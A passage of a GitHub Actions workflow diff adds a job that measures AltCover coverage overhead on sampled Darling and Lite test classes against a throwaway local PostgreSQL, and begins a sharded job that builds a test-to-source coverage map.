+    needs: [check, build, darling-pg, lite-tests]
+    if: always() && needs.check.result == 'success' && github.event_name == 'workflow_dispatch' && inputs.altcover_probe == true
+    runs-on: windows-latest
+    timeout-minutes: 150
+    env:
+      # Pinned: a probe whose tool floats cannot be compared run to run.
+      ALTCOVER_VERSION: '9.0.145'
+      PROBE_BIN: ${{ github.workspace }}\Darling\Darling.Tests\bin\Release\net10.0-windows
+      PROBE_BIN_LITE: ${{ github.workspace }}\Lite.Tests\bin\Release\net10.0-windows
+      # PROBE_OUT (the scratch folder under the runner's temp directory) is exported by the install step:
+      # the `runner` context is not available in a job-level env block.
+    steps:
+      - uses: actions/checkout@v7
+        with:
+          ref: ${{ github.event_name == 'workflow_dispatch' && github.sha || 'dev' }}
+
+      - name: Setup .NET 10.0
+        uses: actions/setup-dotnet@v6
+        with:
+          global-json-file: global.json
+          cache: true
+          cache-dependency-path: '**/packages.lock.json'
+
+      - name: Cache Darling pg-runtime.zip
+        id: cache-pg-runtime
+        uses: actions/cache@v6
+        with:
+          path: Darling/artifacts/pg-runtime.zip
+          key: pg-runtime-${{ runner.os }}-${{ hashFiles('Darling/tools/fetch-pg-runtime.ps1') }}
+
+      - name: Build Darling pg-runtime.zip (cache miss only)
+        if: steps.cache-pg-runtime.outputs.cache-hit != 'true'
+        shell: pwsh
+        run: ./Darling/tools/fetch-pg-runtime.ps1
+
+      - name: Extract pg-runtime
+        shell: pwsh
+        run: |
+          $zip  = "$env:GITHUB_WORKSPACE\Darling\artifacts\pg-runtime.zip"
+          $dest = "$env:GITHUB_WORKSPACE\Darling\artifacts\pg-runtime"
+          if (Test-Path $dest) { Remove-Item -Recurse -Force $dest }
+          Add-Type -AssemblyName System.IO.Compression.FileSystem
+          [System.IO.Compression.ZipFile]::ExtractToDirectory($zip, $dest)
+          if (-not (Test-Path "$dest\pgsql\bin\pg_ctl.exe")) { throw "pg-runtime missing pgsql\bin\pg_ctl.exe" }
+
+      - name: Restore Darling.Tests
+        run: dotnet restore Darling/Darling.Tests/Darling.Tests.csproj --locked-mode
+
+      - name: Build Darling.Tests
+        run: dotnet build Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-restore
+
+      # Lite.Tests is built up front too, but probed after the Darling pass (its own bin folder, so the in-place
+      # instrumentation of the two suites never touches the same files).
+      - name: Restore Lite.Tests
+        run: dotnet restore Lite.Tests/Lite.Tests.csproj --locked-mode
+
+      - name: Build Lite.Tests
+        run: dotnet build Lite.Tests/Lite.Tests.csproj -c Release --no-restore
+
+      # The same throwaway cluster the darling-pg job stands up (CiClusterWorkerSizingTests compares the
+      # appended settings of both jobs), so the live classes in the sample behave as they do there.
+      - name: Initialize and start throwaway PostgreSQL
+        shell: pwsh
+        run: |
+          $bin     = "$env:GITHUB_WORKSPACE\Darling\artifacts\pg-runtime\pgsql\bin"
+          $dataDir = "$env:RUNNER_TEMP\darling-pgdata"
+          $logFile = "$env:RUNNER_TEMP\darling-pg.log"
+          & "$bin\initdb.exe" -D $dataDir -U darling -A trust --encoding=UTF8
+          if ($LASTEXITCODE -ne 0) { throw "initdb failed ($LASTEXITCODE)" }
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "shared_preload_libraries = 'timescaledb,pg_stat_statements'"
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "port = 5541"
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "listen_addresses = '127.0.0.1'"
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "timescaledb.max_background_workers = 74"
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "max_worker_processes = 85"
+          # #5549: the session id (%c) on every line. A PID alone cannot say whether two lines came from one
+          # session (a pooled connection reused by the next test) or from two (Windows reuses a PID quickly).
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "log_line_prefix = '%m [%p] %c '"
+          & "$bin\pg_ctl.exe" -D $dataDir -l $logFile -w start
+          if ($LASTEXITCODE -ne 0) { if (Test-Path $logFile) { Get-Content $logFile -Tail 50 }; throw "pg_ctl start failed ($LASTEXITCODE)" }
+          & "$bin\createdb.exe" -h 127.0.0.1 -p 5541 -U darling darling
+          if ($LASTEXITCODE -ne 0) { throw "createdb failed ($LASTEXITCODE)" }
+
+      - name: Install AltCover (pinned)
+        shell: pwsh
+        run: |
+          dotnet tool install altcover.global --version $env:ALTCOVER_VERSION --tool-path "$env:RUNNER_TEMP\altcover-tool"
+          if ($LASTEXITCODE -ne 0) { throw "altcover install failed ($LASTEXITCODE)" }
+          $out = "$env:RUNNER_TEMP\altcover-probe"
+          New-Item -ItemType Directory -Force -Path $out | Out-Null
+          "PROBE_OUT=$out" | Add-Content -Path $env:GITHUB_ENV
+
+      # About 100 classes, spread over plain unit classes, TestHost/web classes and live PostgreSQL
+      # classes, taken from the built assembly's own class listing (Stage=Guard classes read source text
+      # and never run product code, so they are left out).
+      - name: Choose the sample classes
+        shell: pwsh
+        run: |
+          $ErrorActionPreference = 'Stop'
+          $lines = @(& "$env:PROBE_BIN\Darling.Tests.exe" -list classes/json -trait- Stage=Guard)
+          if ($LASTEXITCODE -ne 0) { throw "class listing failed with exit code $LASTEXITCODE" }
+          $json = @($lines | Where-Object { $_ -match '^\s*\[' })
+          if ($json.Count -ne 1) { throw "expected one JSON array line from the class listing, got $($json.Count)" }
+          Set-Content -Path "$env:PROBE_OUT\all-classes.json" -Value $json[0]
+          python .github/scripts/altcover-probe.py select --list "$env:PROBE_OUT\all-classes.json" --tests-dir Darling/Darling.Tests --root . --total 100 --want web=25 --want live=12 --out "$env:PROBE_OUT\classes.txt" --manifest "$env:PROBE_OUT\manifest.json"
+          if ($LASTEXITCODE -ne 0) { throw "class selection failed ($LASTEXITCODE)" }
+
+      # Baseline: the same classes, un-instrumented. Failures here are recorded, not fatal: this is a
+      # measurement, and a class that fails plain is a hole in the comparison, not in the tool.
+      - name: Run the sample classes (plain)
+        shell: pwsh
+        env:
+          DARLING_TEST_PG: "Host=127.0.0.1;Port=5541;Username=darling;Database=darling"
+        run: |
+          $PSNativeCommandUseErrorActionPreference = $false
+          $classes = @(Get-Content "$env:PROBE_OUT\classes.txt" | Where-Object { $_ })
+          $classArgs = foreach ($class in $classes) { '-class'; $class }
+          $watch = [System.Diagnostics.Stopwatch]::StartNew()
+          & "$env:PROBE_BIN\Darling.Tests.exe" @classArgs -xml "$env:PROBE_OUT\plain.xml"
+          $code = $LASTEXITCODE
+          $watch.Stop()
+          Write-Host "plain run: exit $code in $([math]::Round($watch.Elapsed.TotalSeconds, 1)) s for $($classes.Count) classes"
+          @{ plain_seconds = [math]::Round($watch.Elapsed.TotalSeconds, 1); plain_exit = $code; classes = $classes.Count } | ConvertTo-Json | Set-Content "$env:PROBE_OUT\timing-plain.json"
+          exit 0
+
+      # Instrument IN PLACE (originals saved aside): the tests locate the repository by walking up from
+      # their own directory, so an instrumented copy outside the checkout would read nothing. Product,
+      # test and Lite assemblies only; every NuGet dependency stays un-instrumented. --methodpoint keeps
+      # one visit record per method, which is all a file-level map needs.
+      - name: Instrument the assemblies (AltCover, callContext on Fact and Theory)
+        shell: pwsh
+        run: |
+          $PSNativeCommandUseErrorActionPreference = $false
+          $watch = [System.Diagnostics.Stopwatch]::StartNew()
+          & "$env:RUNNER_TEMP\altcover-tool\altcover.exe" --inplace --inputDirectory $env:PROBE_BIN --outputDirectory "$env:PROBE_OUT\saved" `
+            --report "$env:PROBE_OUT\coverage.xml" --reportFormat OpenCover `
+            --callContext "[Fact]" --callContext "[Theory]" --methodpoint `
+            --assemblyFilter "^(?!PerformanceMonitor|Darling|Lite)" 2>&1 | Tee-Object -FilePath "$env:PROBE_OUT\altcover-instrument.log" | Select-Object -Last 15
+          $code = $LASTEXITCODE
+          $watch.Stop()
+          Write-Host "instrument: exit $code in $([math]::Round($watch.Elapsed.TotalSeconds, 1)) s"
+          @{ instrument_seconds = [math]::Round($watch.Elapsed.TotalSeconds, 1); instrument_exit = $code } | ConvertTo-Json | Set-Content "$env:PROBE_OUT\timing-instrument.json"
+          if ($code -ne 0) { throw "altcover instrumentation failed ($code)" }
+
+      - name: Run the sample classes (instrumented, AltCover runner)
+        shell: pwsh
+        env:
+          DARLING_TEST_PG: "Host=127.0.0.1;Port=5541;Username=darling;Database=darling"
+        run: |
+          $PSNativeCommandUseErrorActionPreference = $false
+          $classes = @(Get-Content "$env:PROBE_OUT\classes.txt" | Where-Object { $_ })
+          $classArgs = foreach ($class in $classes) { '-class'; $class }
+          $watch = [System.Diagnostics.Stopwatch]::StartNew()
+          & "$env:RUNNER_TEMP\altcover-tool\altcover.exe" Runner --recorderDirectory $env:PROBE_BIN --workingDirectory $env:PROBE_BIN --executable "$env:PROBE_BIN\Darling.Tests.exe" -- @classArgs -xml "$env:PROBE_OUT\instrumented.xml" 2>&1 | Tee-Object -FilePath "$env:PROBE_OUT\altcover-run.log" | Select-Object -Last 25
+          $code = $LASTEXITCODE
+          $watch.Stop()
+          Write-Host "instrumented run: exit $code in $([math]::Round($watch.Elapsed.TotalSeconds, 1)) s"
+          @{ instrumented_seconds = [math]::Round($watch.Elapsed.TotalSeconds, 1); instrumented_exit = $code } | ConvertTo-Json | Set-Content "$env:PROBE_OUT\timing-instrumented.json"
+          exit 0
+
+      # Overhead comparison only: put the original assemblies back, instrument again with AltCover's default
+      # (sequence-point and branch) recording, run the same classes, and keep only the timings and the report
+      # size. The method-level pass above is what the summary and the map read.
+      - name: Overhead comparison (default line and branch recording)
+        continue-on-error: true
+        shell: pwsh
+        env:
+          DARLING_TEST_PG: "Host=127.0.0.1;Port=5541;Username=darling;Database=darling"
+        run: |
+          $PSNativeCommandUseErrorActionPreference = $false
+          Copy-Item -Path "$env:PROBE_OUT\saved\*" -Destination $env:PROBE_BIN -Recurse -Force
+          $altcover = "$env:RUNNER_TEMP\altcover-tool\altcover.exe"
+          $watch = [System.Diagnostics.Stopwatch]::StartNew()
+          & $altcover --inplace --inputDirectory $env:PROBE_BIN --outputDirectory "$env:PROBE_OUT\saved-line" `
+            --report "$env:PROBE_OUT\coverage-line.xml" --reportFormat OpenCover `
+            --callContext "[Fact]" --callContext "[Theory]" `
+            --assemblyFilter "^(?!PerformanceMonitor|Darling|Lite)" 2>&1 | Out-Null
+          $instrument = $LASTEXITCODE
+          $instrumentSeconds = [math]::Round($watch.Elapsed.TotalSeconds, 1)
+          if ($instrument -ne 0) { Write-Host "line instrumentation failed ($instrument)"; exit 0 }
+          $classes = @(Get-Content "$env:PROBE_OUT\classes.txt" | Where-Object { $_ })
+          $classArgs = foreach ($class in $classes) { '-class'; $class }
+          $watch.Restart()
+          & $altcover Runner --recorderDirectory $env:PROBE_BIN --workingDirectory $env:PROBE_BIN --executable "$env:PROBE_BIN\Darling.Tests.exe" -- @classArgs -xml "$env:PROBE_OUT\instrumented-line.xml" 2>&1 | Out-Null
+          $code = $LASTEXITCODE
+          $runSeconds = [math]::Round($watch.Elapsed.TotalSeconds, 1)
+          $bytes = if (Test-Path "$env:PROBE_OUT\coverage-line.xml") { (Get-Item "$env:PROBE_OUT\coverage-line.xml").Length } else { 0 }
+          Write-Host "line and branch recording: instrument $instrumentSeconds s, run $runSeconds s (exit $code), report $bytes bytes"
+          @{ line_instrument_seconds = $instrumentSeconds; line_run_seconds = $runSeconds; line_run_exit = $code; line_report_bytes = $bytes } | ConvertTo-Json | Set-Content "$env:PROBE_OUT\timing-line.json"
+          Remove-Item "$env:PROBE_OUT\coverage-line.xml" -Force -ErrorAction SilentlyContinue
+          exit 0
+
+      - name: Summarize the coverage (map for the sampled classes)
+        if: always()
+        shell: pwsh
+        run: |
+          $PSNativeCommandUseErrorActionPreference = $false
+          $timing = @{}
+          foreach ($name in 'plain', 'instrument', 'instrumented', 'line') {
+            $file = "$env:PROBE_OUT\timing-$name.json"
+            if (Test-Path $file) { (Get-Content $file -Raw | ConvertFrom-Json).PSObject.Properties | ForEach-Object { $timing[$_.Name] = $_.Value } }
+          }
+          $timing | ConvertTo-Json | Set-Content "$env:PROBE_OUT\timing.json"
+          # AltCover makes an instrumented async test wait on its own task, so a dynamic skip arrives wrapped in an
+          # AggregateException and xunit reports a failure. Put those back to skips, but only where the plain run
+          # skipped the same test.
+          if ((Test-Path "$env:PROBE_OUT\plain.xml") -and (Test-Path "$env:PROBE_OUT\instrumented.xml")) {
+            python .github/scripts/altcover-probe.py unwrap-skips --plain "$env:PROBE_OUT\plain.xml" --instr "$env:PROBE_OUT\instrumented.xml" | Select-Object -First 30
+          }
+          $report = "$env:PROBE_OUT\coverage.xml"
+          if (-not (Test-Path $report)) { Write-Host "::warning::no coverage report was produced"; exit 0 }
+          $item = Get-Item $report
+          Write-Host "coverage.xml: $($item.Length) bytes"
+          python .github/scripts/altcover-probe.py summarize --report $report --root $env:GITHUB_WORKSPACE --manifest "$env:PROBE_OUT\manifest.json" --plain-xml "$env:PROBE_OUT\plain.xml" --instr-xml "$env:PROBE_OUT\instrumented.xml" --timing "$env:PROBE_OUT\timing.json" --tool "altcover $env:ALTCOVER_VERSION" --summary-out "$env:PROBE_OUT\summary.json" --map-out "$env:PROBE_OUT\test-map-probe.json" | Select-Object -First 80
+          if (Test-Path "$env:PROBE_OUT\summary.json") {
+            "### AltCover probe" | Add-Content $env:GITHUB_STEP_SUMMARY
+            '```json' | Add-Content $env:GITHUB_STEP_SUMMARY
+            Get-Content "$env:PROBE_OUT\summary.json" -TotalCount 120 | Add-Content $env:GITHUB_STEP_SUMMARY
+            '```' | Add-Content $env:GITHUB_STEP_SUMMARY
+          }
+          exit 0
+
+      # ── Lite.Tests: the same measurement, in its own scratch folder ──────────────────────────────────
+      # About 60 classes: collector-starting (they mention RemoteCollectorService), DuckDB-backed, and plain.
+      - name: Choose the Lite sample classes
+        if: always()
+        shell: pwsh
+        run: |
+          $ErrorActionPreference = 'Stop'
+          $out = "$env:PROBE_OUT\lite"
+          New-Item -ItemType Directory -Force -Path $out | Out-Null
+          $lines = @(& "$env:PROBE_BIN_LITE\Lite.Tests.exe" -list classes/json -trait- Stage=Guard)
+          if ($LASTEXITCODE -ne 0) { throw "Lite class listing failed with exit code $LASTEXITCODE" }
+          $json = @($lines | Where-Object { $_ -match '^\s*\[' })
+          if ($json.Count -ne 1) { throw "expected one JSON array line from the Lite class listing, got $($json.Count)" }
+          Set-Content -Path "$out\all-classes.json" -Value $json[0]
+          python .github/scripts/altcover-probe.py select --profile lite --list "$out\all-classes.json" --tests-dir Lite.Tests --root . --total 60 --want collector=8 --want duckdb=20 --out "$out\classes.txt" --manifest "$out\manifest.json"
+          if ($LASTEXITCODE -ne 0) { throw "Lite class selection failed ($LASTEXITCODE)" }
+
+      - name: Run the Lite sample classes (plain)
+        shell: pwsh
+        run: |
+          $PSNativeCommandUseErrorActionPreference = $false
+          $out = "$env:PROBE_OUT\lite"
+          $classes = @(Get-Content "$out\classes.txt" | Where-Object { $_ })
+          $classArgs = foreach ($class in $classes) { '-class'; $class }
+          $watch = [System.Diagnostics.Stopwatch]::StartNew()
+          & "$env:PROBE_BIN_LITE\Lite.Tests.exe" @classArgs -xml "$out\plain.xml"
+          $code = $LASTEXITCODE
+          $watch.Stop()
+          Write-Host "Lite plain run: exit $code in $([math]::Round($watch.Elapsed.TotalSeconds, 1)) s for $($classes.Count) classes"
+          @{ plain_seconds = [math]::Round($watch.Elapsed.TotalSeconds, 1); plain_exit = $code; classes = $classes.Count } | ConvertTo-Json | Set-Content "$out\timing-plain.json"
+          exit 0
+
+      - name: Instrument the Lite assemblies (AltCover, callContext on Fact and Theory)
+        shell: pwsh
+        run: |
+          $PSNativeCommandUseErrorActionPreference = $false
+          $out = "$env:PROBE_OUT\lite"
+          $watch = [System.Diagnostics.Stopwatch]::StartNew()
+          & "$env:RUNNER_TEMP\altcover-tool\altcover.exe" --inplace --inputDirectory $env:PROBE_BIN_LITE --outputDirectory "$out\saved" `
+            --report "$out\coverage.xml" --reportFormat OpenCover `
+            --callContext "[Fact]" --callContext "[Theory]" --methodpoint `
+            --assemblyFilter "^(?!PerformanceMonitor|Darling|Lite)" 2>&1 | Tee-Object -FilePath "$out\altcover-instrument.log" | Select-Object -Last 15
+          $code = $LASTEXITCODE
+          $watch.Stop()
+          Write-Host "Lite instrument: exit $code in $([math]::Round($watch.Elapsed.TotalSeconds, 1)) s"
+          @{ instrument_seconds = [math]::Round($watch.Elapsed.TotalSeconds, 1); instrument_exit = $code } | ConvertTo-Json | Set-Content "$out\timing-instrument.json"
+          if ($code -ne 0) { throw "Lite altcover instrumentation failed ($code)" }
+
+      - name: Run the Lite sample classes (instrumented, AltCover runner)
+        shell: pwsh
+        run: |
+          $PSNativeCommandUseErrorActionPreference = $false
+          $out = "$env:PROBE_OUT\lite"
+          $classes = @(Get-Content "$out\classes.txt" | Where-Object { $_ })
+          $classArgs = foreach ($class in $classes) { '-class'; $class }
+          $watch = [System.Diagnostics.Stopwatch]::StartNew()
+          & "$env:RUNNER_TEMP\altcover-tool\altcover.exe" Runner --recorderDirectory $env:PROBE_BIN_LITE --workingDirectory $env:PROBE_BIN_LITE --executable "$env:PROBE_BIN_LITE\Lite.Tests.exe" -- @classArgs -xml "$out\instrumented.xml" 2>&1 | Tee-Object -FilePath "$out\altcover-run.log" | Select-Object -Last 25
+          $code = $LASTEXITCODE
+          $watch.Stop()
+          Write-Host "Lite instrumented run: exit $code in $([math]::Round($watch.Elapsed.TotalSeconds, 1)) s"
+          @{ instrumented_seconds = [math]::Round($watch.Elapsed.TotalSeconds, 1); instrumented_exit = $code } | ConvertTo-Json | Set-Content "$out\timing-instrumented.json"
+          exit 0
+
+      - name: Lite overhead comparison (default line and branch recording)
+        continue-on-error: true
+        shell: pwsh
+        run: |
+          $PSNativeCommandUseErrorActionPreference = $false
+          $out = "$env:PROBE_OUT\lite"
+          Copy-Item -Path "$out\saved\*" -Destination $env:PROBE_BIN_LITE -Recurse -Force
+          $altcover = "$env:RUNNER_TEMP\altcover-tool\altcover.exe"
+          $watch = [System.Diagnostics.Stopwatch]::StartNew()
+          & $altcover --inplace --inputDirectory $env:PROBE_BIN_LITE --outputDirectory "$out\saved-line" `
+            --report "$out\coverage-line.xml" --reportFormat OpenCover `
+            --callContext "[Fact]" --callContext "[Theory]" `
+            --assemblyFilter "^(?!PerformanceMonitor|Darling|Lite)" 2>&1 | Out-Null
+          $instrument = $LASTEXITCODE
+          $instrumentSeconds = [math]::Round($watch.Elapsed.TotalSeconds, 1)
+          if ($instrument -ne 0) { Write-Host "Lite line instrumentation failed ($instrument)"; exit 0 }
+          $classes = @(Get-Content "$out\classes.txt" | Where-Object { $_ })
+          $classArgs = foreach ($class in $classes) { '-class'; $class }
+          $watch.Restart()
+          & $altcover Runner --recorderDirectory $env:PROBE_BIN_LITE --workingDirectory $env:PROBE_BIN_LITE --executable "$env:PROBE_BIN_LITE\Lite.Tests.exe" -- @classArgs -xml "$out\instrumented-line.xml" 2>&1 | Out-Null
+          $code = $LASTEXITCODE
+          $runSeconds = [math]::Round($watch.Elapsed.TotalSeconds, 1)
+          $bytes = if (Test-Path "$out\coverage-line.xml") { (Get-Item "$out\coverage-line.xml").Length } else { 0 }
+          Write-Host "Lite line and branch recording: instrument $instrumentSeconds s, run $runSeconds s (exit $code), report $bytes bytes"
+          @{ line_instrument_seconds = $instrumentSeconds; line_run_seconds = $runSeconds; line_run_exit = $code; line_report_bytes = $bytes } | ConvertTo-Json | Set-Content "$out\timing-line.json"
+          Remove-Item "$out\coverage-line.xml" -Force -ErrorAction SilentlyContinue
+          exit 0
+
+      - name: Summarize the Lite coverage
+        if: always()
+        shell: pwsh
+        run: |
+          $PSNativeCommandUseErrorActionPreference = $false
+          $out = "$env:PROBE_OUT\lite"
+          $timing = @{}
+          foreach ($name in 'plain', 'instrument', 'instrumented', 'line') {
+            $file = "$out\timing-$name.json"
+            if (Test-Path $file) { (Get-Content $file -Raw | ConvertFrom-Json).PSObject.Properties | ForEach-Object { $timing[$_.Name] = $_.Value } }
+          }
+          $timing | ConvertTo-Json | Set-Content "$out\timing.json"
+          if ((Test-Path "$out\plain.xml") -and (Test-Path "$out\instrumented.xml")) {
+            python .github/scripts/altcover-probe.py unwrap-skips --plain "$out\plain.xml" --instr "$out\instrumented.xml" | Select-Object -First 30
+          }
+          $report = "$out\coverage.xml"
+          if (-not (Test-Path $report)) { Write-Host "::warning::no Lite coverage report was produced"; exit 0 }
+          Write-Host "Lite coverage.xml: $((Get-Item $report).Length) bytes"
+          python .github/scripts/altcover-probe.py summarize --suite Lite.Tests --report $report --root $env:GITHUB_WORKSPACE --manifest "$out\manifest.json" --plain-xml "$out\plain.xml" --instr-xml "$out\instrumented.xml" --timing "$out\timing.json" --tool "altcover $env:ALTCOVER_VERSION" --summary-out "$out\summary.json" --map-out "$out\test-map-probe.json" | Select-Object -First 80
+          if (Test-Path "$out\summary.json") {
+            "### AltCover probe (Lite.Tests)" | Add-Content $env:GITHUB_STEP_SUMMARY
+            '```json' | Add-Content $env:GITHUB_STEP_SUMMARY
+            Get-Content "$out\summary.json" -TotalCount 120 | Add-Content $env:GITHUB_STEP_SUMMARY
+            '```' | Add-Content $env:GITHUB_STEP_SUMMARY
+          }
+          exit 0
+
+      - name: Stop PostgreSQL
+        if: always()
+        shell: pwsh
+        run: |
+          $bin     = "$env:GITHUB_WORKSPACE\Darling\artifacts\pg-runtime\pgsql\bin"
+          $dataDir = "$env:RUNNER_TEMP\darling-pgdata"
+          if (Test-Path "$bin\pg_ctl.exe") { & "$bin\pg_ctl.exe" -D $dataDir -m fast -w stop }
+          exit 0
+
+      - name: Upload the raw coverage and the summary
+        if: always()
+        uses: actions/upload-artifact@v6
+        with:
+          name: altcover-probe
+          path: |
+            ${{ runner.temp }}/altcover-probe/coverage.xml
+            ${{ runner.temp }}/altcover-probe/summary.json
+            ${{ runner.temp }}/altcover-probe/test-map-probe.json
+            ${{ runner.temp }}/altcover-probe/manifest.json
+            ${{ runner.temp }}/altcover-probe/classes.txt
+            ${{ runner.temp }}/altcover-probe/timing.json
+            ${{ runner.temp }}/altcover-probe/plain.xml
+            ${{ runner.temp }}/altcover-probe/instrumented.xml
+            ${{ runner.temp }}/altcover-probe/instrumented.raw.xml
+            ${{ runner.temp }}/altcover-probe/altcover-*.log
+            ${{ runner.temp }}/altcover-probe/lite/coverage.xml
+            ${{ runner.temp }}/altcover-probe/lite/summary.json
+            ${{ runner.temp }}/altcover-probe/lite/test-map-probe.json
+            ${{ runner.temp }}/altcover-probe/lite/manifest.json
+            ${{ runner.temp }}/altcover-probe/lite/classes.txt
+            ${{ runner.temp }}/altcover-probe/lite/timing.json
+            ${{ runner.temp }}/altcover-probe/lite/plain.xml
+            ${{ runner.temp }}/altcover-probe/lite/instrumented.xml
+            ${{ runner.temp }}/altcover-probe/lite/instrumented.raw.xml
+            ${{ runner.temp }}/altcover-probe/lite/altcover-*.log
+          retention-days: 7
+          if-no-files-found: ignore
+          overwrite: true
+
+  # ── Test map: which test classes run which source files (#5459, change 4 slice 3) ────────────────
+  # The producer for the class-to-file map that ci-select.py's map_select() reads. It runs the WHOLE
+  # Darling.Tests suite (6 shards, with a live PostgreSQL store and the runtime variable) and the WHOLE
+  # Lite.Tests suite (4 shards) under AltCover (--callContext on [Fact]/[Theory], the version the probe
+  # job pins), cut by class-name hash exactly as build.yml's Darling PostgreSQL shards are, then joins the
+  # shards in `test-map` with what the test sources say (path and tool-name literals, the type-name rule,
+  # whole-tree readers) and uploads `test-map.json.gz` for 14 days.
+  # It changes no other job's result: nothing lists it in `needs`, both jobs are continue-on-error, and a
+  # failed test inside a shard only costs that class its coverage. It runs in every re-dispatch that builds
+  # (the same gate as darling-pg) and in manual dispatches; `-f test_map=false` turns it off for one dispatch.
+  # Nothing reads the map yet (slice 4 does, in shadow mode). On a branch:
+  #   gh workflow run nightly.yml --ref <branch> -f publish=false
+  test-map-shard:
+    name: Test map shard (${{ matrix.suite }} ${{ matrix.shard }})
+    # Waits for build, darling-pg and lite-tests so the 10 windows legs do not take their runners (#5459); always() keeps
+    # the map running after a failed one.
+    needs: [check, build, darling-pg, lite-tests]
+    if: always() && needs.check.result == 'success' && (needs.check.outputs.has_changes == 'true' || inputs.from_schedule != true) && inputs.test_map != false
+    continue-on-error: true
+    runs-on: windows-latest
+    timeout-minutes: 120
+    strategy:
+      fail-fast: false
+      matrix:
+        include:
+          - { suite: darling, shard: 0, shards: 6 }
+          - { suite: darling, shard: 1, shards: 6 }
+          - { suite: darling, shard: 2, shards: 6 }
+          - { suite: darling, shard: 3, shards: 6 }
+          - { suite: darling, shard: 4, shards: 6 }
+          - { suite: darling, shard: 5, shards: 6 }
+          - { suite: lite, shard: 0, shards: 4 }
+          - { suite: lite, shard: 1, shards: 4 }
+          - { suite: lite, shard: 2, shards: 4 }
+          - { suite: lite, shard: 3, shards: 4 }
+    env:
+      # The version the probe job pins: a map whose tool floats cannot be compared run to run.
+      ALTCOVER_VERSION: '9.0.145'
+      MAP_BIN: ${{ github.workspace }}\${{ matrix.suite == 'darling' && 'Darling\Darling.Tests' || 'Lite.Tests' }}\bin\Release\net10.0-windows
+      MAP_EXE: ${{ matrix.suite == 'darling' && 'Darling.Tests.exe' || 'Lite.Tests.exe' }}
+      # MAP_OUT (the scratch folder under the runner's temp directory) is exported by the install step:
+      # the `runner` context is not available in a job-level env block.
+    steps:
+      # The dispatched commit, not the ref name: every shard and the join job must read the same tree even
+      # if dev moves while the run is queued.
+      - uses: actions/checkout@v7
+        with:
+          ref: ${{ github.sha }}
+
+      - name: Setup .NET 10.0
+        uses: actions/setup-dotnet@v6
+        with:
+          global-json-file: global.json
+          cache: true
+          cache-dependency-path: '**/packages.lock.json'
+
+      - name: Cache Darling pg-runtime.zip
+        if: matrix.suite == 'darling'
+        id: cache-pg-runtime
+        uses: actions/cache@v6
+        with:
+          path: Darling/artifacts/pg-runtime.zip
+          key: pg-runtime-${{ runner.os }}-${{ hashFiles('Darling/tools/fetch-pg-runtime.ps1') }}
+
+      - name: Build Darling pg-runtime.zip (cache miss only)
+        if: matrix.suite == 'darling' && steps.cache-pg-runtime.outputs.cache-hit != 'true'
+        shell: pwsh
+        run: ./Darling/tools/fetch-pg-runtime.ps1
+
+      - name: Extract pg-runtime
+        if: matrix.suite == 'darling'
+        shell: pwsh
+        run: |
+          $zip  = "$env:GITHUB_WORKSPACE\Darling\artifacts\pg-runtime.zip"
+          $dest = "$env:GITHUB_WORKSPACE\Darling\artifacts\pg-runtime"
+          if (Test-Path $dest) { Remove-Item -Recurse -Force $dest }
+          Add-Type -AssemblyName System.IO.Compression.FileSystem
+          [System.IO.Compression.ZipFile]::ExtractToDirectory($zip, $dest)
+          if (-not (Test-Path "$dest\pgsql\bin\pg_ctl.exe")) { throw "pg-runtime missing pgsql\bin\pg_ctl.exe" }
+
+      - name: Restore Darling.Tests
+        if: matrix.suite == 'darling'
+        run: dotnet restore Darling/Darling.Tests/Darling.Tests.csproj --locked-mode
+
+      - name: Build Darling.Tests
+        if: matrix.suite == 'darling'
+        run: dotnet build Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-restore
+
+      - name: Restore Lite.Tests
+        if: matrix.suite == 'lite'
+        run: dotnet restore Lite.Tests/Lite.Tests.csproj --locked-mode
+
+      - name: Build Lite.Tests
+        if: matrix.suite == 'lite'
+        run: dotnet build Lite.Tests/Lite.Tests.csproj -c Release --no-restore
+
+      # The same throwaway cluster the darling-pg job stands up (CiClusterWorkerSizingTests compares the
+      # appended settings of every job), so the live classes behave as they do there.
+      - name: Initialize and start throwaway PostgreSQL
+        if: matrix.suite == 'darling'
+        shell: pwsh
+        run: |
+          $bin     = "$env:GITHUB_WORKSPACE\Darling\artifacts\pg-runtime\pgsql\bin"
+          $dataDir = "$env:RUNNER_TEMP\darling-pgdata"
+          $logFile = "$env:RUNNER_TEMP\darling-pg.log"
+          & "$bin\initdb.exe" -D $dataDir -U darling -A trust --encoding=UTF8
+          if ($LASTEXITCODE -ne 0) { throw "initdb failed ($LASTEXITCODE)" }
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "shared_preload_libraries = 'timescaledb,pg_stat_statements'"
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "port = 5541"
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "listen_addresses = '127.0.0.1'"
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "timescaledb.max_background_workers = 74"
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "max_worker_processes = 85"
+          # #5549: the session id (%c) on every line. A PID alone cannot say whether two lines came from one
+          # session (a pooled connection reused by the next test) or from two (Windows reuses a PID quickly).
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "log_line_prefix = '%m [%p] %c '"
+          & "$bin\pg_ctl.exe" -D $dataDir -l $logFile -w start
+          if ($LASTEXITCODE -ne 0) { if (Test-Path $logFile) { Get-Content $logFile -Tail 50 }; throw "pg_ctl start failed ($LASTEXITCODE)" }
+          & "$bin\createdb.exe" -h 127.0.0.1 -p 5541 -U darling darling
+          if ($LASTEXITCODE -ne 0) { throw "createdb failed ($LASTEXITCODE)" }
+
+      - name: Install AltCover (pinned)
+        shell: pwsh
+        run: |
+          dotnet tool install altcover.global --version $env:ALTCOVER_VERSION --tool-path "$env:RUNNER_TEMP\altcover-tool"
+          if ($LASTEXITCODE -ne 0) { throw "altcover install failed ($LASTEXITCODE)" }
+          $out = "$env:RUNNER_TEMP\test-map"
+          New-Item -ItemType Directory -Force -Path $out | Out-Null
+          "MAP_OUT=$out" | Add-Content -Path $env:GITHUB_ENV
+
+      # This shard's classes, cut by the hash build.yml's Darling PostgreSQL shards use, into chunks that
+      # stay under the Windows command-line cap (#5100). Every class is listed, Stage=Guard ones included: a
